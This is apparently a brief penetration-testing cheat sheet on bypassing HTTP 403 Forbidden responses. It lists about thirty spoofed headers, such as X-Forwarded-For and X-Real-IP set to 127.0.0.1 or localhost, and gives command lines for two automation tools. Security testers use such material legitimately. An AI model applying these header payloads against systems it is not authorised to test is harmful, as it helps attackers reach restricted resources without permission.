HTTP 403 Bypass

How to bypass HTTP 403 statuses.

Context

You may be testing a web resource that is providing HTTP 403 Forbidden status codes for certain pages. In some instances, it may be possible to bypass the 403 status code.

How to Bypass 403 Status Codes

To potentially bypass 403 status codes, you must attempt to trick the server into believing you are authorised (and not forbidden). To do this, you might attempt to add the following HTTP headers to your web requests which tell a misconfigured server that you are the server itself (localhost):

Client-IP: 127.0.0.1
Forwarded-For-Ip: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded-For: localhost
Forwarded: 127.0.0.1
Forwarded: localhost
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forward-For: 127.0.0.1
X-Forward: 127.0.0.1
X-Forward: localhost
X-Forwarded-By: 127.0.0.1
X-Forwarded-By: localhost
X-Forwarded-For-Original: 127.0.0.1
X-Forwarded-For-Original: localhost
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: localhost
X-Forwarded-Server: 127.0.0.1
X-Forwarded-Server: localhost
X-Forwarded: 127.0.0.1
X-Forwarded: localhost
X-Forwared-Host: 127.0.0.1
X-Forwared-Host: localhost
X-Host: 127.0.0.1
X-Host: localhost
X-HTTP-Host-Override: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-Addr: localhost
X-Remote-IP: 127.0.0.1

An easy way to conduct the above, is use a tool to automate it:

• https://github.com/lobuhi/byp4xx

./bypass-403.sh url path

• https://github.com/trap-bytes/403jump

./403jump -t <URL>